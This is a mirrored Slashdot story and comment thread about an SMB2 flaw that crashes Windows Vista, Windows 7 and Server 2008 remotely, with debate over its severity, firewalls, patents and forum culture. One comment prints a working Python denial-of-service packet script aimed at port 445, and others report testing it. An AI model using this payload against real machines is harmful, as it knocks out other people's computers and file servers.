Slashdot Mirror


Windows 7 Reintroduces Remote BSoD

David Gerard writes "Remember the good old days of the 1990s, when you could teardrop attack any Windows user who'd annoyed you and bluescreen them? Microsoft reintroduces this popular feature in Windows 7, courtesy the rewritten TCP/IP and SMB2 stacks. Well done, guys! Another one for the Windows 7 Drinking Game."

78 of 427 comments (clear)

  1. Local? by MindStalker · · Score: 5, Interesting

    If it relies on a SMB2 request it is most likely restricted form request inside the LAN.
    Either way, still bad.

    1. Re:Local? by fuzzyfuzzyfungus · · Score: 3, Interesting

      Especially unpleasant given that SMB2 is pretty common on important shared resources. Like fileservers.

      Crashing clients is bad, any client on the LAN being able to take down the fileserver is substantially worse.

    2. Re:Local? by PsychicX · · Score: 2, Insightful

      Agreed -- it IS rather bad, but generally speaking you're not expecting attacks from inside your LAN. As Windows vulnerabilities go, this isn't horrible in a practical sense.

    3. Re:Local? by ZekoMal · · Score: 3, Insightful

      Not expecting such a problem until you go to college; half of the students on my campus don't even have a password put on their computers, making it extremely easy to access them remotely as is. If everyone had Win 7 installed, well...it'd make for some interesting work.

    4. Re:Local? by afidel · · Score: 4, Interesting

      Actually the headline is very misleading and that's bad. This affects SMB2 which is in Vista and Server 2008 as well, that means every Server 2008 system is likely vulnerable to a LAN based DoS attack.

      --
      There are 4 boxes to use in the defense of liberty: soap, ballot, jury, ammo. Use in that order. Starting now.
    5. Re:Local? by gazbo · · Score: 3, Insightful

      Just because IPv6 reduces the need for NAT doesn't mean you shouldn't use a firewall. I assume that's what you were talking about anyway.

    6. Re:Local? by dontclapthrowmoney · · Score: 3, Insightful

      ...generally speaking you're not expecting attacks from inside your LAN...

      Even if you have total control over all physical access points to your LAN, and total trust in your user base, there is still a chance that internal people can try to do nasty things - and in some ways they may have more motivation to do so.

      I think the concept of "internal/trusted network" is going to shrink - nowadays I tend to this of the "internal network" as ending at the edge of centralised server resources, and clients on what would have been called the "internal LAN" are actually outside of what I would now call the "trusted zone". Even then, SMB traffic is more likely to be open so this vulnerability is still a problem, and many organisations still concentrate on border protection without taking any defense-in-depth measures internally so they're probably wide-open to this.

      I could be paranoid, but I don't want to be less strict with internal controls and then find out the hard way that I was right all along.

    7. Re:Local? by Sethb · · Score: 4, Interesting

      Uh, by default on modern incarnations of Windows, accounts without passwords are *not* allowed to log in remotely. So, they're extremely difficult to access remotely.

      --
      When in danger or in doubt, run in circles, scream and shout. --Robert A. Heinlein
    8. Re:Local? by Anonymous Coward · · Score: 3, Funny

      Digital cameras make for plenty of things worth finding.

    9. Re:Local? by poetmatt · · Score: 5, Funny

      well, now I know how to win any lan party contests :)

    10. Re:Local? by GameMaster · · Score: 5, Funny

      NOBODY EXPECT ATTACKS FROM INSIDE YOUR LAN!!!! Their chief weapon is surprise...surprise and fear...fear and surprise.... Their two weapons are fear and surprise...and ruthless efficiency.... Their *three* weapons are fear, surprise, and ruthless efficiency...and an almost fanatical devotion to rms.... Their *four*...no... *Amongst* their weapons.... Amongst their weaponry...are such elements as fear, surprise.... I'll come in again.

      --

      Rules of Conduct:
      #1 - The DM is always right.
      #2 - If the DM is wrong, see rule #1
    11. Re:Local? by GameMaster · · Score: 3, Funny

      Of course, the proper remedy for this (given that it is on a LAN) is to get up, walk down the hall, and beat the crap out of the douche-bag who's DoSing you. Really, the only reason DoS attacks work so well on the Internet is that the guys doing it are probably half-way around the world.

      --

      Rules of Conduct:
      #1 - The DM is always right.
      #2 - If the DM is wrong, see rule #1
    12. Re:Local? by afidel · · Score: 4, Informative

      What about the employee who just got fired who sets off an IP walk that crashes every file server? What about the employee that gets the malware of the day and it includes the ability for the 0wner to launch this attack inside your LAN? There's a lot more potential for abuse than just the prankster on the helpdesk deciding he wants to create some havoc.

      --
      There are 4 boxes to use in the defense of liberty: soap, ballot, jury, ammo. Use in that order. Starting now.
    13. Re:Local? by ShieldW0lf · · Score: 2, Interesting

      Trust in computer disciplines doesn't have anything to do with something being trustworthy. Trust is an expression that you have left yourself vulnerable, and are trusting that you won't be exploited. How you feel about leaving yourself vulnerable is irrelevant. The probability that you will be exploited is also irrelevant.

      That's what Trusted Computing is all about... it's not that your computer is more secure... it's that your computer is less secure, and you are trusting third parties not to screw you instead of securing yourself against them.

      --
      -1 Uncomfortable Truth
    14. Re:Local? by Idaho · · Score: 2, Interesting

      generally speaking you're not expecting attacks from inside your LAN. As Windows vulnerabilities go, this isn't horrible in a practical sense.

      Really? That may be true in small(ish) companies, say less than 50 employees. In general, many security experts beg to differ, however.

      Some select quotes:

      "In 92 percent of the incidents [re. inside attacks] investigated, revenge was the primary motivator."

      Common attacks:

      Manipulation of Protocol Design Flaws: Protocol weaknesses in TCP/IP can result in a virtual treasure trove of problems, for example DNS spoofing, TCP sequence, hijacked sessions and authentication session / transaction replay, denial of service and TCP_SYN flooding.

      Manipulation of Operating System Design Flaws: We all know the drill. Operating systems, such as Windows and Linux, have not been designed to be highly secure. Privileged users in particular have easy access to information regarding which vulnerabilities exist and which vulnerabilities have been patched. With the ability to read and administrative access, privileged users can manipulate these design flaws and exercise native vulnerabilities.

      I work at a university where several years ago a server administrator purposefully set fire to an entire building (out of spite for getting fired, allegedly). By comparison, bluescreening the computers in your company out of revenge is childs play, and if you do it right, it should be very hard to detect where it originated. People do strange things out of spite - although setting buildings on fire is fortunately rare, I doubt the same can be said about such "trivial" DOS possibilities.

      --
      Every expression is true, for a given value of 'true'
    15. Re:Local? by bbernard · · Score: 2, Informative

      "but generally speaking you're not expecting attacks from inside your LAN"

      Right, because a virus on my local network would never take advantage of that.
      Right, because more than 60% of data loss events are triggered by insiders.
      Right, because you personally know and trust every user on your LAN.
      Right, because nobody would connect an unapproved device, like their iPod, or personal PC, to the LAN.

      If you're not expecting most of your attacks from inside your LAN then you're just fooling yourself.

      --
      ----- Connection reset by beer
    16. Re:Local? by phoenix321 · · Score: 3, Interesting

      Second that big time.

      The belief that a cloud of several thousand clients can ever be held secure is almost obscene. IT departments that concentrate most heavily on defending the outer border of their network, placing more than only a slight hint of trust in their "owned" client hardware are hopefully becoming rare.

      Several thousand notebooks, travelling along the employees all around the world, through a hundred massive wifi-zones, hotel LANs, airports etc., should not be trusted higher than the machine Joe Random Employee brought from home. The official corporate notebook may have all the branding, settings, applications and whatnot, but that can at best make it a decently hardened PC, not bullet proof.

      Many organisations really concentrate on the border, falling to the illusion of control: "we control the machine, the user / employee has no admin rights so all machines that go along on a business trip come back in perfect shape and without ever acquiring a drive-by rootkit somwhere"

      In reality, most breaches are done, or facilitated, or unknowingly supported by people inside the organisation. Disgruntled employees are surely the worst enemy - and guaranteed to be numerous in any multinational company under the current economy. But it can also be frequent-fliers, hard-working staff that take their laptops everywhere and try to work all the time, connecting to a hundred different wifi-APs per year. Trusting a machine means physical control over everything. Trusting machines that commute and travel daily along with their employees is batshit crazy - but most IT departments still pretend they don't see that.

    17. Re:Local? by Mathiasdm · · Score: 2, Interesting

      Yes, it affects Vista (just tested it here). The example exploit contains a bug though. You need to add an import line 'from socket import socket'.

      --
      Join the anonymous, help develop the network: http://www.i2p2.de
    18. Re:Local? by Midnight+Thunder · · Score: 2, Informative

      If it works with IPv6 then a malicious site can have IPv6 address. When the user visits the site the code reads the source IP and implements the attack.

      This is why in a properly configured network you can limit SMB to within your network, by use of a firewall. With IPv6 a firewall is pretty much mandatory. If you need to file share outside your network, then using something like webdav in HTTPS mode is probably better, since this helps make it clear that you are not within your network.

      Actually thinking about it, it would be cool if there was a way to change the icon of the server to indicate that it is outside your network (based on the subnet mask or something of the sorts).

      --
      Jumpstart the tartan drive.
    19. Re:Local? by RiotingPacifist · · Score: 2, Informative

      I can see it being used multiple times to dereference multiple kernel pointers, but i can't see how you would get it execute code. I suppose its a question of how much damage you can do dereferencing stuff inside the kernel vs how much protection the NT has against this stuff.
      On linux a few well placed dereferences and you could probably disable the firewall then run anything in effective root (by removing all security checks), ofc to do damage you would still need a second exploit on an already running process (including those that were protected) to make use of this.

      --
      IranAir Flight 655 never forget!
  2. The difference is... by Xest · · Score: 2, Interesting

    ...half the world is behind a NAT setup now, and the other half has Windows firewall enabled. Windows update exists now so people will be able to patch quickly and easily when a patch arrives.

    Realistically this isn't going to effect many people like the old exploit did.

    Still, it's quite comical, maybe this is Microsoft's take on the saying "The old ones are the best". So much for their secure development practices, there's really no excuse for them not picking this one up before release.

    1. Re:The difference is... by rastilin · · Score: 4, Insightful

      Rewritten software is a double-edged sword. On the one hand you are able to finally discard the truly broken sections of your previous implementation; allowing you to make massive leaps forward. On the other you're getting rid of a large list of known bugs and replacing it with an even larger list of unknown ones.

      One of the most useful features of old technolgy is that it breaks in predictable ways.

      So it's not too surprising that something like this happened. Doesn't worry me either, I have firewalls and a NAT on all my machines, no reason not to. However since it's something that happened before, it's irritating that Microsoft didn't think to check for something like this.

      --
      How do you kill that which has no life?
    2. Re:The difference is... by Sfing_ter · · Score: 4, Insightful

      really - unless the person sets the "Let Microsoft decide when and where I do updates" most of the updates WILL NOT be done. The average person uses the computer like a tv - turn it on to see the web and turn it off when done. Leave my computer on ALL NIGHT just so i can backup/run antivirus/run defrag/run etc. etc. ???

      Oh yeah these people do exist and they have 'FRIENDS' that 'KNOW' computers and 'HELP' them out by turning off that annoying UAC or giving them a 'FREE' version of office. The looks on their faces when I explain that the software they got off Limewire is infected with virus' - they can't believe microsoft would do that!!! THAT is the mentality, and that is why these attacks have always worked, and will always work.

      --
      A computer once beat me at chess, but it was no match for me at kick boxing. Emo Philips
    3. Re:The difference is... by not+already+in+use · · Score: 2

      The average person uses the computer like a tv - turn it on to see the web and turn it off when done.

      First step to writing a clandestine flame post: Imply "facts." People will just assume they're true, when in reality, they are not.

      Oh yeah these people do exist and they have 'FRIENDS' that 'KNOW' computers and 'HELP' them out by turning off that annoying UAC or giving them a 'FREE' version of office. The looks on their faces when I explain that the software they got off Limewire is infected with virus' - they can't believe microsoft would do that!!! THAT is the mentality, and that is why these attacks have always worked, and will always work.

      Step two involves strategically placing words in all caps and building straw men to attack.

      It amazes me these days for what passes as informative on slashdot.

      --
      Similes are like metaphors
  3. Not a problem. by onion2k · · Score: 4, Funny

    It's incredibly unlikely to ever affect anyo

  4. I knew Windows 7 was too good to be true by commodore64_love · · Score: 5, Funny

    - Shiny-new interface.
    - No annoying "are you sure" popups every 30 seconds like Vista.
    - Can run on a 1 gigabyte machine without slowing to a crawl.

    It simply wasn't possible for Microsoft to make such a great perfect OS without including a flaw.

    --
    "I disapprove of what you say, but I will defend to the death your right to say it." - historian Evelyn Beatrice Hall
    1. Re:I knew Windows 7 was too good to be true by Dr_Barnowl · · Score: 2, Interesting

      Supposedly, attempting to create something perfect would be an affront to Allah, who is the only being who is perfect and who can create perfection.

      Then surely the deliberate introduction of such flaws is the height of arrogance? They are assuming that they could have attained perfection, whereas even a rug that would be perfect to the human eye, is obviously little better than a puke-stained rag in the sight of Allah. He is truly merciful not to smite them most smite-ily for their presumption that they could even comprehend the nature of rug-perfection, let alone attain it!

    2. Re:I knew Windows 7 was too good to be true by Abreu · · Score: 2, Informative

      I'll bite.

      Theologically speaking, it's not to avoid "Allah feeling threatened and insecure".

      The rug maker is just insuring himself that he won't fall to pride and hubris.

      --
      No sig for the moment.
  5. Re:Big wow by mdm-adph · · Score: 4, Funny

    Yeah, we read the first three lines of the Wikipedia link, too.

    --
    It is by my will alone my thoughts acquire motion; it is by the juice of the coffee bean that the thoughts acquire speed
  6. Not consistent by james_a_craig · · Score: 5, Interesting

    Having actually tried this on three windows 7 machines now, it doesn't seem to work on every machine. (Actually, it's yet to work on any here, although I hear tell that it does work on some). There's something more to this than just "that data crashes it every time".

    1. Re:Not consistent by DoofusOfDeath · · Score: 4, Funny

      Having actually tried this on three windows 7 machines now, ...

      You must be popular with your coworkers.

    2. Re:Not consistent by Lulfas · · Score: 5, Informative

      It's because SMB and SMBv2 are firewalled straight out of the box. You have to turn on homegroup and then attempt to exploit. Not quite the "OMG SKY IS FALLING" that the summary leads us to believe.

    3. Re:Not consistent by afidel · · Score: 3, Interesting

      Try it against a Server 2008 lab server with file shares, I'll bet that it will BSOD.

      --
      There are 4 boxes to use in the defense of liberty: soap, ballot, jury, ammo. Use in that order. Starting now.
  7. Re:Pretty nice by David+Gerard · · Score: 2, Informative

    This is in the RTM gold master.

    --
    http://rocknerd.co.uk
  8. Correction! by David+Gerard · · Score: 5, Informative

    I was terribly unfair to Microsoft in the story summary (which is pretty much what I wrote) - per TFA, this flaw is actually an exciting new feature of Vista, not of Windows 7.

    And before anyone says "but Win7 is beta!" - this flaw is present in the gold master.

    --
    http://rocknerd.co.uk
    1. Re:Correction! by Anonymous Coward · · Score: 4, Informative

      And not exploitable out of the box since SMB and SMBv2 are both firewalled. Yes, if you turn on homegroup, you are opening SMBv2 through the firewall, but only for the private network - so the exploit would need to be coming from another machine at your house. All in all, a nasty issue but won't really affect that many people.

  9. Ahh, nice to see ... by UncHellMatt · · Score: 5, Funny

    ...that my fellow Boston Public School graduates are writing for seclists.org.

    Section V: "An attacker can remotly crash without no user interaction, any Vista/Windows 7 machine with SMB enable. "

    Yes, because we been done had seen that explot in the pasts.

    Dear $DEITY, are there no proof readers or editors alive on these sites?

    1. Re:Ahh, nice to see ... by gclef · · Score: 2, Funny

      It's the full-disclosure mailing list....be happy it's not in leet.

  10. IP Reasons for SMB2 by eldavojohn · · Score: 4, Interesting

    they don't like introducing "new" things

    A slight correction, they like to introduce new things when it suits them. Why the rewrite of SMB into SMB2? Well, it has some technological advantages you would expect but according to Wikipedia:

    SMB 2 has two big benefits to Microsoft. The first is clear intellectual property ownership. SMB 1 was originally designed by IBM and was shipped on a wide variety of non-Windows operating systems such as SCO Xenix, OS/2 and DEC VMS (Pathworks). It was partially standardised by X/Open and also had draft standards for IETF which lapsed. (See http://ubiqx.org/cifs/Intro.html for historical detail).

    The second benefit is a clean break. Microsoft's SMB1 code has to work with a huge variety of SMB clients and servers. A large number of items in the protocol are optional (such as short and long filenames), there are many infolevels for commands (selecting what structure is returned to a particular request), Unicode was a later addition etc. With SMB2 there is significantly reduced compatibility testing (currently only other Windows Vista clients and servers). Additionally the code is a lot less complex since there is far less variability (e.g. there is no need to worry about having Unicode and non-Unicode code paths as SMB2 requires Unicode support).

    So you can see they like to introduce new things when it means they have clear intellectual property ownership rights over it and also a lot less work for them. They also don't have to be backwards compatible with their own products.

    While SAMBA 4.0 has experimental support for SMB2 interfacing, I'm guessing the "clear intellectual property" could spell trouble moving forward for Tridgell and the SAMBA team.

    --
    My work here is dung.
    1. Re:IP Reasons for SMB2 by AndrewNeo · · Score: 2, Informative

      No, it won't. The specs are right here.

    2. Re:IP Reasons for SMB2 by leromarinvit · · Score: 3, Informative

      Probably not technical problems, but maybe legal ones. See that paragraph about patents? Neither the Open Specification Promis nor the Community Promise (both linked) cover SMB2.

      --
      Proud member of the Ferengi Socialist Party.
    3. Re:IP Reasons for SMB2 by eldavojohn · · Score: 4, Informative

      No, it won't. The specs are right here.

      "No, it won't" what? Possibly spell problems for the Samba team? From your link:

      Patents. Microsoft has patents that may cover your implementations of the technologies described in the Open Specifications. Neither this notice nor Microsoft's delivery of the documentation grants any licenses under those or any other Microsoft patents. However, a given Open Specification may be covered by Microsoft's Open Specification Promise (available here: http://www.microsoft.com/interop/osp) or the Community Promise (available here: http://www.microsoft.com/interop/cp/default.mspx). If you would prefer a written license, or if the technologies described in the Open Specifications are not covered by the Open Specifications Promise or Community Promise, as applicable, patent licenses are available by contacting iplg@microsoft.com ...

      Emphasis mine. So I'll correct myself, it may spell trouble for the Samba team. It's not clear. Which is essentially what I said. Do you really think iplg@microsoft.com will grant the Samba team a written license or possibly a patent license?

      Why do they use the ambiguous language quoted above if this is an open technology I'm not suppose to fear implementing? I mean, haven't we been threatened over this sort of thing before? It's not clear to me why Microsoft stops other products from interfacing with theirs (product lock in?) but I'm not about to give them the benefit of the doubt.

      --
      My work here is dung.
    4. Re:IP Reasons for SMB2 by BassMan449 · · Score: 2, Insightful
      Did you read the link?

      Patents. Microsoft has patents that may cover your implementations of the technologies described in the Open Specifications. Neither this notice nor Microsoft's delivery of the documentation grants any licenses under those or any other Microsoft patents. However, a given Open Specification may be covered by Microsoft's Open Specification Promise (available here: http://www.microsoft.com/interop/osp ) or the Community Promise (available here: http://www.microsoft.com/interop/cp/default.mspx ). If you would prefer a written license, or if the technologies described in the Open Specifications are not covered by the Open Specifications Promise or Community Promise, as applicable, patent licenses are available by contacting iplg@microsoft.com..

      I checked both the Open Specification Promise and the Community Promise and SMB2 is not covered by either. Just because Microsoft published the spec doesn't mean they won't sue you for patent infringment.

  11. Re:First Post by Rik+Sweeney · · Score: 4, Funny

    Let me Loony Tunes that up for you:

    Wabbit Season!
    Duck Season!

    Wabbit Season!
    Duck Season!

  12. I'll be suprised if this affects anyone. by jim_v2000 · · Score: 3, Interesting

    IT departments are going to keep everything patched, and individuals aren't going to do it to themselves on their LANS. Between firewalls and NATs, it's not going to happen over the internet. Really, the only situation that I can imagine this happening is perhaps on a university network.

    --
    Don't take life so seriously. No one makes it out alive.
    1. Re:I'll be suprised if this affects anyone. by rabbit994 · · Score: 2, Interesting

      When Windows 7 pops up and asks you what type of network is this and you say "Public", guess what gets firewalled off? I've tried this on my Windows 7 lab computers. If you mark the network as public or disabled file sharing (which is default), Windows firewall will stop this one cold. While this is pretty big "oops", in the real world, it's pretty minor and should be patched before "unwashed masses" get ahold of Windows 7.

      Question I have, was Microsoft notified about the problem before this disclosure or was someone trying to build up "street cred" by disclosing early?

  13. Please grow up, you're driving us away by Anonymous Coward · · Score: 5, Insightful

    Hi. I'm an adult. I work as a software engineer.

    I cannot join in with the Linux community because of you people. You're just *too awful*. Instead of accepting that this stuff happens and it's bad, you childishly nerdsnort and start writing Microsoft with a dollar sign instead of an S, acting as if this stuff is some amazing manifestation of idiocy rather than a likely consequence of using a mainstream OS developed with time and budgetary constraints. It's going to have stupid bugs. Get the fuck over it.

    I would like to join in with the Linux community, but all I ever hear is this pathetic nyerr-nyerr-nyerr garbage.

    If you want to attract intelligent, grown-up people to Linux you need to stop doing certain things.

    1) Don't act as if users of other operating systems are less intelligent than you. It turns out that Linux-advocacy isn't the entire world, and that leaders in different fields (or even this one!) might be using Windows. They're not "lusers", they just have priorities different from your own.

    2) Don't act as if Linux hasn't had equally stupid stuff happen to it. Yes, it's a different process altogether, and I would dare say that bugs are less likely due to its open source nature, but they still happen. One that I can remember off the top of my head is Debian's guessable SSL keys.

    3) Try—for ten minutes—to give the impression that half of your time isn't devoted to bashing an OS you believe is irrelevant.

    4) For good measure try cutting out the xkcd worship and meme-spouting. We might be able to relate to you people if you acted as if you weren't cut from the same distasteful mold.

    1. Re:Please grow up, you're driving us away by Anonymous Coward · · Score: 5, Insightful

      The pubertal masses of Slashdot != The Linux community

    2. Re:Please grow up, you're driving us away by bflong · · Score: 2, Insightful

      You're in the wrong place. You won't find a high percentage of adult, intelligent people here, and those that are are not very vocal. Maybe a long, long time ago, but no more. As someone else already said Slashdot != Linux Community.

      --
      Why is it so hot? Where am I going? What am I doing in this handbasket?
    3. Re:Please grow up, you're driving us away by Anonymous Coward · · Score: 2, Informative

      Yes, use Windows because none of that ever happens.

      Great strawman argument, btw. We should ignore vulnerabilities in microsoft software because some precious flowers don't want their sensibilities offended.

    4. Re:Please grow up, you're driving us away by Krneki · · Score: 3, Informative

      Trolls are OS independent. :)

      --
      Love many, trust a few, do harm to none.
    5. Re:Please grow up, you're driving us away by Anonymous Coward · · Score: 2, Insightful

      The pubertal masses of Slashdot != The Linux community

      No shit, but you guys certainly align yourselves with it and give it a shitty image. All it takes is one person in a club of a hundred to tarnish the clubs image or one incident to fuck up an image. What was that joke about the old constructor? "I built the old church up on the east hill. I built the schoolhouse over on the outside of the city! I built fives houses for the poor with my own hands! They could've called me Billy the builder! The constructor! But no... ya fuck one goat..."

    6. Re:Please grow up, you're driving us away by Ash-Fox · · Score: 5, Informative

      I cannot join in with the Linux community because of you people.

      I'm sorry, Sir. This is not the Linux community, this is the Slashdot community.

      If you want the Linux community, go to http://www.kernel.org/

      I would like to join in with the Linux community, but all I ever hear is this pathetic nyerr-nyerr-nyerr garbage.

      If you look on kernel.org, there is none of this garbage. You are mistaken.

      --
      Change is certain; progress is not obligatory.
    7. Re:Please grow up, you're driving us away by natehoy · · Score: 2, Insightful

      Hi, I'm also an adult, and I also work as a software engineer.

      >>I cannot join in with the Linux community because of you people.

      So to keep you from joining a community, all I need to do is act poorly and pretend to be a member of that community? Wow, there can't be a lot of communities that meet that standard of purity. There are asshats in pretty much every community or movement.

      A great number of Linux users, and even contributors, also use Windows, and use both as a tool appropriate to the job at hand. Most Linux project managers and major contributors don't have time to post to slashdot, and don't get into pissing matches over whose digital penis is larger. There are vocal proponents of Linux, and those that like to copy-paste the "Death to M$" meme, but a Linux contributor who seriously wants to kill Microsoft will be out there writing code or documentation, not wasting their time bashing Microsoft on slashdot.

      Try Linux or don't - but don't avoid it just because there are a good number of people with lots of free time out there representing "the community" poorly. Also, don't make the mistake of assuming that Linux is an organized, centralized movement with some form of control emanating from the center. Linux is not a company. It's not a bureaucracy. It's a movement - with lots of different people moving in lots of different directions with lots of different goals and aspirations. Some go about their business more politely than others.

      Most people seriously involved in the Linux movement don't really care one way or the other about Microsoft. It's not that they see Microsoft as irrelevant to the world at large, they are writing what they want. Microsoft really only becomes relevant when they threaten to enforce patents which they have used their majority desktop share to implement as "standards", and you can see they might react with something entirely unlike joy and adulation. :)

      If I build my own car, I really don't have any feelings about Ford, unless Ford decides that I cannot implement roundness in my wheels because they hold a patent on round wheels. At that point, I'd probably be pissed and post nasty things on the automotive section of slashdot when Ford is mentioned. (grin)

      --
      "This post contains words, known to the State of California to cause thought. Wash brain thoroughly after reading."
    8. Re:Please grow up, you're driving us away by Anonymous Coward · · Score: 2, Insightful

      More that it represents one whole religion rather than a denomination. But the OP isn't wrong. The Slashdot community mentality is common in every linux user I know, not unlike how the majority of jews follow the torah or christians follows the bible or muslims follows the qur'an.

      And I, like the OP, resist linux because of those people.

    9. Re:Please grow up, you're driving us away by shutdown+-p+now · · Score: 2, Insightful

      I'm sorry, Sir. This is not the Linux community, this is the Slashdot community.

      If you want the Linux community, go to http://www.kernel.org/

      http://kernel.org/ (specifically, LKML) would be the Linux developer community. Linux community as a whole is a very big thing, but Slashdot is definitely a part of it. Not saying that every single person here is a Linux advocate, but they are certainly in majority.

    10. Re:Please grow up, you're driving us away by cwrinn · · Score: 2, Insightful

      It's pretty pathetic that such visceral complaints are keeping you from collaborating in such an intelligent and engaging community. Perhaps you should reevaluate your stance on this after some deep thought.

      --
      Here's a cookie... *psst* it's MAGIC
    11. Re:Please grow up, you're driving us away by ajlisows · · Score: 2, Informative

      I cannot join in with the Linux community because of you people. You're just *too awful*.Instead of accepting that this stuff happens and it's bad, you childishly nerdsnort and start writing Microsoft with a dollar sign instead of an S, acting as if this stuff is some amazing manifestation of idiocy rather than a likely consequence of using a mainstream OS developed with time and budgetary constraints. It's going to have stupid bugs. Get the fuck over it.

      I would like to join in with the Linux community, but all I ever hear is this pathetic nyerr-nyerr-nyerr garbage.

      I do agree with a lot of things that you said, except for the main point. If you are truly the mature adult here you should be able to use the best tool for the job even if others who use it act like complete idiots. Most of the people you speak of aren't the ones doing hard core Linux development. There are some very brilliant, mature, and overall decent individuals in the Open Source Community. Heck if you really want to help, bring your Software Engineering skills and your open mindedness to the community. You'll help it grow in two ways!

  14. For all who want a more technical summary of TFA: by Seth+Kriticos · · Score: 5, Informative

    Vulnerable systems are all with SMB2 drivers: Vista, W7 and probably Server 2008

    The exploit (which is actually ridiculously simple) goes as follows:

    #!/usr/bin/python
    # When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
    # PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
    from time import sleep

    host = "IP_ADDR", 445
    buff = (
    "\x00\x00\x00\x90" # Begin SMB header: Session message
    "\xff\x53\x4d\x42" # Server Component: SMB
    "\x72\x00\x00\x00" # Negociate Protocol
    "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
    "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
    "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
    "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
    "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
    "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
    "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
    "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
    "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
    "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
    "\x30\x30\x32\x00"
    )
    s = socket()
    s.connect(host)
    s.send(buff)
    s.close()

    Current problem solution: disable the SMB protocol on your infrastructure..

    Now please excuse me, I have go and play a bit with our network admin.. /joke

  15. Re:Big wow by Anonymous Coward · · Score: 3, Funny

    No we didn't. Shut up.

  16. Re:First Post by Anonymous Coward · · Score: 3, Funny

    Or to be more apt (for slashdot)... some people prefer Ford, some prefer Dodge, others still prefer Toyota. Gas is better for some applications, while Diesel is better for others, while electric is better for others.

    When a new car line comes out, new defects are to be expected on occasion. Sometimes there are even defects present that were fixed in previous models.

  17. Re:Woo! by Sethb · · Score: 2, Informative

    I love it when Slashdot can't post an accurate headline. This is a flaw in SMB 2.0, which is present in Windows Vista, Windows Server 2008, Windows 7, and probably Windows Server 2008 R2 as well. This is not new to 7, it's a common flaw in all the implementations of SMB 2.0. XP isn't affected because XP can't speak that protocol.

    --
    When in danger or in doubt, run in circles, scream and shout. --Robert A. Heinlein
  18. "RE"-introducing? by WED+Fan · · Score: 4, Interesting

    The article makes it seem like it hasn't been in Windows since Windows NT and that Windows 7 is the first time it's reappeared. Seriously, Vista has it.

    Is this a case of "It's after midnight, must post another slam on Microsoft, even if we have twist and stretch like taffy to make the case"?

    It wouldn't be so bad but the body of the submission is incredibly slanted, almost more than some of the replies.

    --
    Politics is the art of looking for trouble, finding it everywhere, diagnosing it incorrectly and applying the wrong fix.
    1. Re:"RE"-introducing? by David+Gerard · · Score: 5, Funny

      Yeah, reading error on my part. Sorry about that. Let's give Vista credit where it's due!

      --
      http://rocknerd.co.uk
    2. Re:"RE"-introducing? by moranar · · Score: 4, Insightful

      So you mean the problem is _less serious_ by the fact that it's been on _more_ Windows versions than stated? Maybe you mean that MS has said 'it's not a problem because this and that?'

      --
      "I think it would be a good idea!"
      Gandhi, about Internet Security
    3. Re:"RE"-introducing? by jedidiah · · Score: 4, Insightful

      You make it sound like a gaping security hole is alright just because it's been in the product long enough that people might have forgotten about it.

      If anything, this makes it sound like Windows 7 is the same old crap and that once again we have empty promises from Microsoft claiming that they will do things right this time.

      Windows users are like domestic abuse victims.

      --
      A Pirate and a Puritan look the same on a balance sheet.
    4. Re:"RE"-introducing? by David+Gerard · · Score: 5, Funny

      But Macs cost too much, and Linux is too hard. And Microsoft only hits me because he loves me.

      --
      http://rocknerd.co.uk
    5. Re:"RE"-introducing? by blind+biker · · Score: 2, Insightful

      The article makes it seem like it hasn't been in Windows since Windows NT and that Windows 7 is the first time it's reappeared. Seriously, Vista has it.

      Is this a case of "It's after midnight, must post another slam on Microsoft, even if we have twist and stretch like taffy to make the case"?

      I'm here, reading your wonderful post, and laughing my ass off! Do you really think, reminding us that this horrible flaw is already present in Windows Vista, will somehow "soften the blow"?

      Man, you're precious!

      --
      "The agriculture ministry is not in charge of Gundam" - Japanese ministry official.
    6. Re:"RE"-introducing? by node+3 · · Score: 2, Interesting

      Yes, it's such an "entirely new operating system" that is has the same bugs.

      MS astroturfers are so busy these days. If you put down a bug in Windows 7, responses that say, "hey, don't pick on MS, it was in Vista too!" get upmodded, and then if you say, "well, 7 is an update to Vista", responses rebutting it get upmodded.

      Windows kinda sucks. Vista was pretty awful, 7 is better, and is really what Vista *should* have been (and it is completely based on Vista, modding this fact down doesn't make it untrue).

      Mac OS X and Linux both have their flaws, but ignoring apps and computers they support and just looking at the systems themselves, Windows really is the worst of the lot. Throw in games and apps and ubiquitous inexpensive PCs, and Windows is a contender, but it's *not* because Windows itself is all that great.

  19. I've got karma to burn by mcmonkey · · Score: 2, Interesting

    Speaking of going back to the '90s...

    Why is /. using frames?

    Oh, I'm sure on the back end it's some web 2.0 dynamic XCSS crap, but on the front end, it looks like a frame, it walks like a frame, it quacks like a frame.

    It's a frame.

    In firefox 3, I go to slashdot.org. Then I click a link to the IT section. Browser address bar still reads "slashdot.org" (no IT.)

    I click a story link, then click the back button.

    The browser goes back to slashdot.org, not it.slashdot.org.

    Seriously, WTF?

  20. Re:For all who want a more technical summary of TF by Kompressor · · Score: 2, Funny

    When this packet hits a pocket on a socket on a port,
    Your whole damn OS pauses to abort...

    --
    kmem russian roulette: Aquillar> dd if=/dev/urandom of=/dev/kmem bs=1 count=1 seek=$RANDOM
  21. SMB2 exploits by navyjeff · · Score: 2, Funny

    My favorite SMB2 exploits are detailed here.

  22. Windows 2008 is very vulnerable. by miffo.swe · · Score: 2, Informative

    Me and my coworker tried this on an updated Windows 2008 today and none of us could believe what happened. The server just dies mid-air and throws a proud BSOD.

    Am i the only one surprised something like this could slip through all the supposed testing done by Microsoft? Have they even ran a fuzzer against their code at all? If blatantly obvious holes like this goes unseen in the new TCP/IP SMB2 code rest assured a whole slew of new holes will be found later.

